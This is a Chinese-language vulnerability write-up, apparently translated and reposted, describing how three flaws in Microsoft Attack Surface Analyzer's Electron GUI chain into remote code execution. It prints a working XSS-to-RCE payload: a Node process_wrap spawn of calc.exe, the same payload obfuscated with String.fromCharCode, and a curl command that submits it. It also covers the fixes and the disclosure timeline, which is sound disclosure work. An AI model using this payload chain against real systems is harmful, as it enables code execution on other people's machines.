杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

栏目: 服务器 · 发布时间: 5年前

内容简介:概述本文主要介绍我如何发现三个漏洞,并将它们共同利用,从而在微软的攻击分析器(Attack Surface Analyzer)GUI版本中实现远程代码执行(RCE)的过程。微软的攻击分析器使用Electron.Net将内部Kestrel Web服务器绑定到0.0.0.0。如果允许绕过Windows操作系统的防火墙,或者在没有防火墙的Windows操作系统上,那么远程攻击者就可以连接到该操作系统并访问应用程序。Web应用程序容易受到跨站脚本(XSS)的攻击。远程攻击者可以提交一个具有嵌入的JavaScript

概述

本文主要介绍我如何发现三个漏洞,并将它们共同利用,从而在微软的攻击分析器(Attack Surface Analyzer)GUI版本中实现远程代码执行(RCE)的过程。

微软的攻击分析器使用Electron.Net将内部Kestrel Web服务器绑定到0.0.0.0。如果允许绕过Windows操作系统的防火墙,或者在没有防火墙的Windows操作系统上,那么远程攻击者就可以连接到该操作系统并访问应用程序。Web应用程序容易受到跨站脚本(XSS)的攻击。远程攻击者可以提交一个具有嵌入的JavaScript的runID,并由受害者使用攻击分析器Electron应用程序执行。

Electron.NET没有将NodeIntegration标志设置为False,这将允许JavaScript Payload在受害者的计算机上派生进程。

背景

大约在一个月之前,有人发布了一个微软新版本 工具 的链接。

我的老板Matt表示:

这是与John Lambert在休假期间共同写下的第一个版本。

备注:在这里,可以看到他们关于该工具的对话,以及演示文稿的内容:

https://twitter.com/JohnLaTwC/status/1141765341061627904

需要说明的是,我之前从未见过这个工具,但是我使用了一个基本上完成相同工作的内部工具。

什么是攻击分析器(ASA)?

根据微软官方给出的文档:

攻击分析器(Attack Surface Analyzer)会在安装其他软件产品之前和之后,获取系统状态的快照,并展示系统攻击面许多关键元素的更改情况。

我们在安装应用程序或服务的之前和之后运行攻击分析器,随后,可以比较安装前后的运行结果,从而明确应用程序在计算机上安装的内容。

攻击分析器(ASA)通常以root或admin身份运行,因为应用程序需要尽可能多的访问权限,以监视并记录对计算机的更改。

基于Electron实现

该应用程序的最新版本基于Electron。Electron是一个将Web应用程序封装为桌面应用程序的框架。我们可以将其视为Chromium实例,打开在本地运行的Web应用程序。要了解有关Electron的更多信息,可以挑选众多教程中的一个进行阅读。

Electron应用程序非常流行。这篇文章是我在VS Code中撰写的,而这正是另外一个Electron应用程序。

攻击分析器使用Electron.NET,这是一个带有嵌入式ASP.NET核心应用程序的“普通”Electron应用程序包装器。我对这两种框架的内部工作原理都不是很熟悉,但看起来,其运行的是本地Kestrel Web服务器,然后通过Electron打开一个ASP.NET Web应用程序。

运行攻击分析器

我下载了攻击分析器(ASA)2.0.143版本,并在具有流行版本IE浏览器的Windows虚拟机中启动。攻击分析器应该以管理员身份运行,以便最大程度地监控和分析操作系统和应用程序。

在管理员命令提示符中运行攻击分析器之后,我看到出现了Windows防火墙警告。

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

这非常奇怪。为什么本地Electron应用需要打开防火墙端口?根据命令提示符,我找到了罪魁祸首。

C:\Users\IEUser\Downloads\AsaGui-windows-2.0.141>
 Electron Socket IO Port: 8000
Electron Socket started on port 8000 at 127.0.0.1
ASP.NET Core Port: 8001
stdout: Use Electron Port: 8000
 
stdout: Hosting environment: Production
Content root path: C:\Users\IEUser\Downloads\AsaGui-windows-2.0.141\resources\app\bin\
Now listening on: http://0.0.0.0:8001
Application started. Press Ctrl+C to shut down.

Kestrel Web服务器正在侦听8001端口上的所有接口。这个端口不是静态的,我们可以在应用程序的源代码中看到它从8000端口开始,并使用前两个可用的端口。第一个将由Electron使用,第二个由Kestrel Web服务器使用。在最典型的情况下,这两个端口是8000和8001。

Electron.NET/ElectronNET.Host/main.js#L141:

function startAspCoreBackend(electronPort) {
 
// hostname needs to be localhost, otherwise Windows Firewall will be triggered.
portscanner.findAPortNotInUse(8000, 65535, 'localhost', function (error, electronWebPort) {
    console.log('ASP.NET Core Port: ' + electronWebPort);
    loadURL = `http://localhost:${electronWebPort}`;
    const parameters = [`/electronPort=${electronPort}`, `/electronWebPort=${electronWebPort}`];
    let binaryFile = manifestJsonFile.executable;
 
    const os = require('os');
    if (os.platform() === 'win32') {
        binaryFile = binaryFile + '.exe';
    }
 
    let binFilePath = path.join(currentBinPath, binaryFile);
    var options = { cwd: currentBinPath };
    // Run the binary with params and options.
    apiProcess = process(binFilePath, parameters, options);
 
    apiProcess.stdout.on('data', (data) => {
        console.log(`stdout: ${data.toString()}`);
    });
});
}

这些端口将作为命令行参数传递给二进制文件。二进制文件位于名为executable的密钥中,该密钥位于AsaGui-windows-2.0.141/resources/app/bin/electron.manifest.json:

{
  "executable": "AttackSurfaceAnalyzer-GUI"
}

使用procmon(过滤器的进程名称设定为“AttackSurfaceAnalyzer-GUI”,或使用“工具 – 进程树”),我们可以看到动作中的参数。

AttackSurfaceAnalyzer-GUI.exe /electronPort=8000 /electronWebPort=8001

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

我们可以手动跳转到localhost:8001,在浏览器中查看应用程序,并与之进行交互。

漏洞1:监听所有接口

Kestrel Web服务器将监听所有接口。如果它获得了打开端口的权限,或者实际上不存在防火墙(在Windows上已经禁用防火墙,或者在没有打开防火墙的情况下运行系统),那么任何人都可以从外部连接它。

我在虚拟机和主机之间创建了一个仅限主机连接的网络接口。在主机浏览器访问192.168.56.101:8001的虚拟机IP之后,显示出如下错误提示:

HTTP错误400:请求的主机名无效。

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

在Burp Suite中,也出现相同的错误信息:

HTTP/1.1 400 Bad Request
Connection: close
Date: Tue, 21 May 2019 20:14:36 GMT
Content-Type: text/html
Server: Kestrel
Content-Length: 334
 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Bad Request</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></ HEAD >
<BODY><h2>Bad Request - Invalid Hostname</h2>
<hr><p>HTTP Error 400. The request hostname is invalid.</p>
</BODY></HTML>

需要注意其中的Server: Kestrel响应头部,这并不算是真正的秘密信息。

Kerstel的主机过滤

Kestrel又一个主机过滤中间件。关于该中间件,具体说明可以参考:

ASP.NET内核中的Kestrel Web服务器实现 – 主机过滤

它通过Host头部过滤传入的请求。我们可以在Burp Suite中使用简单的Proxy(代理) > Options(选项) > Match and Replace(匹配和替换)规则将我们请求的主机头部从192.168.56.101:8001替换为localhost:8001并远程访问Web应用程序。

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

通过AllowedHosts在AsaGui-windows-2.0.141/resources/app/bin/appsettings.json中启用此设置:

{
  "Logging": {
    "LogLevel": {
      "Default": "Warning"
    }
  },
  "AllowedHosts": "localhost",
  "ApplicationInsights": {
    "InstrumentationKey": "79fc14e7-936c-4dcf-ba66-9a4da6e341ef"
  }
}

漏洞2:跨站脚本攻击(XSS)

该应用程序并没有很多注入点,因为用户的输入非常有限。我们可以对其进行扫描,并分析扫描结果。我们可以在特定路径中导出结果并创建报告。

Run Id几乎是可以接收用户输入的唯一位置。我们可以尝试一个基本的注入脚本,并提交一个来运行。提交运行时,可以选择一些简单的功能,例如Certificates(证书),以便快速运行。

注意:Run Ids存储在 SQLite 数据库中,每个应用程序必须是唯一的。

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

XSS根本原因分析

现在,提交我们之前运行的请求。

http://192.168.56.101:8001/Home/StartCollection?Id=<script>alert(1)</script>&
File=false&Port=false&Service=false&User=false&Registry=false&Certificates=true

随后,应用程序调用GetCollectors以获取有关当前运行和显示进程的信息。

http://192.168.56.101:8001/Home/GetCollectors

对应用程序的响应是一个包含JSON对象的字符串。我们测试运行的优化后版本是:

{
    "RunId": "<script>alert(1)</script>",
    "Runs": {
        "CertificateCollector": 3
    }
}

RunId的值将直接注入到网页中。其根本原因是在js/Collect.js:174中:

function GetCollectors() {
    $.getJSON('GetCollectors', function (result) {
        var data = JSON.parse(result);
        var rundata = data.Runs;
        var keepChecking = false;
        var anyCollectors = false;
        var icon, midword;
        $('#ScanStatus').empty();
 
        if (Object.keys(rundata).length > 0) {
            // INJECTION
            $('#ScanStatus').append($('<div/>', { html: l("%StatusReportFor") + data.RunId + ".</i>" }));
        }
 
        // Removed
    });
}

data.RunId没有验证输入,并且也没有对输出进行编码。值得关注的是,ID看起来在Result选项卡中是以编码后的形式进行输出。我并不是Lewis Ardern(一位非常擅长JavaScript的研究人员),因此这个简单的Payload可以使用让我非常开心。

虚拟机中来自远程Payload的XSS

我们的反射性XSS几乎没有什么实际用途。但仔细一想,似乎并不是完全没有价值。如果攻击者可以让潜在受害者用户单击指向localhost:8001的链接并提交Payload,那么就可以在虚拟机内部的攻击分析器或浏览器中实现XSS。但实际上,并不是那么好用。

但是,XSS在运行攻击分析器Electron应用程序的虚拟机中持续存在。如果没有提交新的运行,可以在虚拟机的攻击分析器Electron应用程序中导航到“Scan”(扫描)选项卡,或者再次单击它,就可以看到警告内容。

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

当我们导航至“Scan”选项卡时,应用程序将检索最新提交的运行信息,也就是我们从主机虚拟机提交的信息,并执行注入的Payload。这意味着,攻击者可以通过8001端口连接到应用程序,提交XSS,然后当我们在本地使用时,就会在攻击分析器中执行远程提交的命令。

漏洞3:通过NodeIntegration将XSS转换为RCE

提到Electron,我立刻就联想到了远程代码执行(RCE)。有很多关于如何在Electron中将跨站脚本攻击(XSS)转换为远程代码执行(RCE)的文章。其中,对于Electron.NET来说,当NodeIntegration启用时,就很容易实现远程代码执行。

WebPreferences.cs:

/// <summary>
/// Whether node integration is enabled. Default is true.
/// </summary>
[DefaultValue(true)]
public bool NodeIntegration { get; set; } = true;

更多信息请参考:

Electron安全 – 不要为远程内容启用Node.js集成

这意味着,我们可以利用跨站脚本攻击,在运行攻击分析器的虚拟机中派生进程。需要注意的是,存在NodeIntegration绕过,因此如果只是禁用它可能还不足够。

远程代码执行Payload

下面是Electron典型的将XSS转换到RCE Payload的方式。我们在Google上搜到了一段代码,并直接使用。

var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'calc.exe',args:[],cwd:null,windowsVerbatimArguments:false,
    detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},
{type:'ignore'}]});

使用JavaScript eval String.fromCharCode编码器将其转换为以下内容。然后从主机的浏览器中提交带有Payload的新运行作为Run Id。需要注意的是,我添加了一个伪造的id元素,以使每个Payload唯一。

<img id="5" src=x onerror=eval(String.fromCharCode(118,97,114,32,80,114,111,99,
101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,
40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,
115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,
99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,
102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,
101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,
32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,
121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,
101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,
115,112,97,119,110,40,123,102,105,108,101,58,39,99,97,108,99,46,101,120,101,39,
44,97,114,103,115,58,91,93,44,99,119,100,58,110,117,108,108,44,119,105,110,100,
111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,
102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,
101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,
123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,
58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,
111,114,101,39,125,93,125,41,59))>

我们也可以通过这个curl命令,在本地提交Payload:

curl -vvv -ik -H "Host:localhost:8001" "http://localhost:8001/Home/StartCollection?
Id=<img%20id=%225%22%20src=x%20onerror=eval(String.fromCharCode(118,97,114,32,80,
114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,
110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,
101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,
99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,
117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,
118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,
110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,
105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,
39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,
119,110,40,123,102,105,108,101,58,39,99,97,108,99,46,101,120,101,39,44,97,114,103,
115,58,91,93,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,
101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,
101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,
105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,
58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,
114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,
41,59))>&File=false&Port=false&Service=false&User=false&Registry=false&Certificates=true"

在虚拟机中,切换回“Scan”选项卡,或者单击以重新加载,我们就可以看到弹出的计算器。

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

顺便说一下,procmon中运行calc的命令行看起来像是一个颜文字。

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

从主机注入Payload:

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

在本地注入Payload:

杀敌一万自损三千:看我如何用三个漏洞攻陷微软“攻击分析器”

攻击方式优缺点

1、攻击分析器通常以Admin身份运行,这使得攻击分析器可以更好地了解操作系统,并为我们提供更好的结果。这意味着,我们的远程代码执行也是以管理员的身份来执行命令。

2、最常见的端口是8000和8001。除非用户在这些端口上运行其他业务,否则攻击者很容易发现运行易受攻击版本攻击分析器的计算机。

3、攻击分析器通常会在单次使用的虚拟机上运行,我们并不会在prod虚拟机上留下应用程序的指纹。但是,这些虚拟机仍然与某些位置相连。

修复方案

1、不要将Web浏览器绑定到所有接口。

2、在进程页面上输出编码后的Run Ids。

3、在Electron.NET上启用NodeIntegration和其他的Electron防御机制,详细方法请查阅 “安全性、本地功能和用户责任”

上述问题已经在2019年5月22日提交至微软安全响应中心。

漏洞修复

1、NodeIntegration已禁用,并且ContextIsolation已启用: #218

2、不监听所有接口 – 位于Gui/Properties/launchSettings.json中: #220

3、对URI组件中的runId进行编码 – 位于Gui/wwwroot/js/Collect.js: #220

时间线

2019年5月22日  报告漏洞

2019年5月22日  获得微软致谢

2019年5月28日  微软安全响应中心要求具体解释漏洞情况

2019年6月6日  微软安全响应中心确认漏洞修复方式可行性

2019年6月14日  确认修复

2019年6月18日  公开披露


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

The Black Box Society

The Black Box Society

Frank Pasquale / Harvard University Press / 2015-1-5 / USD 35.00

Every day, corporations are connecting the dots about our personal behavior—silently scrutinizing clues left behind by our work habits and Internet use. The data compiled and portraits created are inc......一起来看看 《The Black Box Society》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换